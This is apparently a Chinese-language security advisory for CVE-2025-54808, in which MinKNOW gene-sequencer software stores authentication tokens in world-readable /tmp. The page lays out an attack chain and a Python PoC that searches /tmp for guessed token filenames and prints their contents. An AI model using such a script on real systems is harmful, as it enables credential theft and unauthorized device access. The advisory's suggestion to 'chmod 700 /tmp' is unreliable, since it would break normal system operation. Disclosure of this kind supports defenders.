IPBUF安全漏洞报告
English
CVE-2025-54808 CVSS 7.8 高危

CVE-2025-54808: MinKNOW软件认证令牌不安全存储漏洞

披露日期: 2025-10-23

漏洞信息

漏洞编号
CVE-2025-54808
漏洞类型
凭证泄露/不安全存储
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Oxford Nanopore Technologies MinKNOW software

相关标签

凭证泄露不安全存储本地权限提升MinKNOWOxford Nanopore基因测序医疗设备ICS/OT安全CVE-2025-54808

漏洞概述

Oxford Nanopore Technologies的MinKNOW软件存在安全漏洞,该软件在24.11及之前版本中,将认证令牌不安全地存储在系统临时目录(/tmp)中。由于/tmp目录通常设置为全局可读权限,任何本地用户或应用程序都能访问这些敏感凭证。攻击者可以通过本地访问获取泄露的令牌,进而在远程访问功能启用的情况下,建立到测序仪的未授权远程连接。此漏洞可与远程访问功能链式利用,从远程设备生成开发者令牌,这些令牌可以设置任意过期日期,从而实现持久化访问并绕过标准身份验证机制。攻击成功的前提是目标系统启用了远程访问功能,这可能是用户为合法操作而启用,也可能是具有提升权限的恶意软件在未经用户同意的情况下启用。该漏洞影响了生命科学和医疗研究领域广泛使用的基因测序设备,存在数据安全和设备完整性风险。

技术细节

MinKNOW软件在处理认证机制时,将用户认证令牌写入到系统临时目录/tmp下的文件中。Linux/Unix系统中/tmp目录默认具有全局可读权限(权限码1777),任何本地用户都可以列出和读取该目录下的文件内容。攻击者只需通过简单的文件遍历操作即可发现并读取包含认证令牌的文件。获取令牌后,攻击者可以利用MinKNOW的远程API功能,使用该令牌进行身份验证并建立远程连接。一旦成功连接,攻击者可以利用开发者token生成功能创建具有任意权限和过期时间的持久化访问凭证。这种设计缺陷使得本应受保护的认证材料完全暴露在本地攻击之下,绕过了操作系统的访问控制机制。攻击者还可以通过提升的权限(如sudo访问)自动启用远程访问功能,使攻击链更加完整。

攻击链分析

STEP 1
步骤1
攻击者获得本地系统访问权限,可以是普通用户权限
STEP 2
步骤2
攻击者枚举/tmp目录,查找MinKNOW软件存储的认证令牌文件
STEP 3
步骤3
读取令牌文件内容,获取有效的认证凭证
STEP 4
步骤4
验证目标系统的远程访问功能是否启用(可通过社会工程或恶意软件自动启用)
STEP 5
步骤5
使用窃取的令牌通过MinKNOW远程API建立未授权连接
STEP 6
步骤6
利用开发者token生成功能创建持久化访问凭证,设置任意过期日期
STEP 7
步骤7
实现对测序仪的持久化控制,可用于数据窃取或干扰正常测序操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-54808 PoC - MinKNOW Authentication Token Leak # This PoC demonstrates reading auth tokens from insecure temp storage import os import glob import json from pathlib import Path def find_minknow_tokens(): """Find MinKNOW authentication tokens in /tmp directory""" token_files = [] # Common patterns for MinKNOW token files patterns = [ "/tmp/*minknow*token*", "/tmp/*minion*token*", "/tmp/*ont*auth*", "/tmp/.minion*", "/tmp/minknow_*" ] for pattern in patterns: token_files.extend(glob.glob(pattern)) return token_files def read_token_content(token_path): """Read and parse token file content""" try: with open(token_path, 'r') as f: content = f.read() return content except PermissionError: return None def main(): print("[*] CVE-2025-54808 - MinKNOW Token Leak PoC") print("[*] Searching for MinKNOW authentication tokens in /tmp...") token_files = find_minknow_tokens() if not token_files: print("[-] No MinKNOW token files found") return print(f"[+] Found {len(token_files)} potential token files") for token_file in token_files: print(f"\n[+] Token file: {token_file}") content = read_token_content(token_file) if content: print(f"[+] Content preview: {content[:100]}...") # In real attack, this token would be used for remote API calls # to establish unauthorized connection to the sequencer if __name__ == "__main__": main()

影响范围

MinKNOW software <= 24.11

防御指南

临时缓解措施
立即检查/tmp目录中是否存在MinKNOW相关的令牌文件,并清除这些文件。禁用不必要的远程访问功能,使用防火墙限制对MinKNOW远程API端口的访问。考虑使用chmod 700 /tmp或配置专门的令牌存储目录。监控本地用户活动,及时发现异常访问行为。在厂商发布修复版本前,评估是否需要暂时隔离受影响的测序设备网络。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表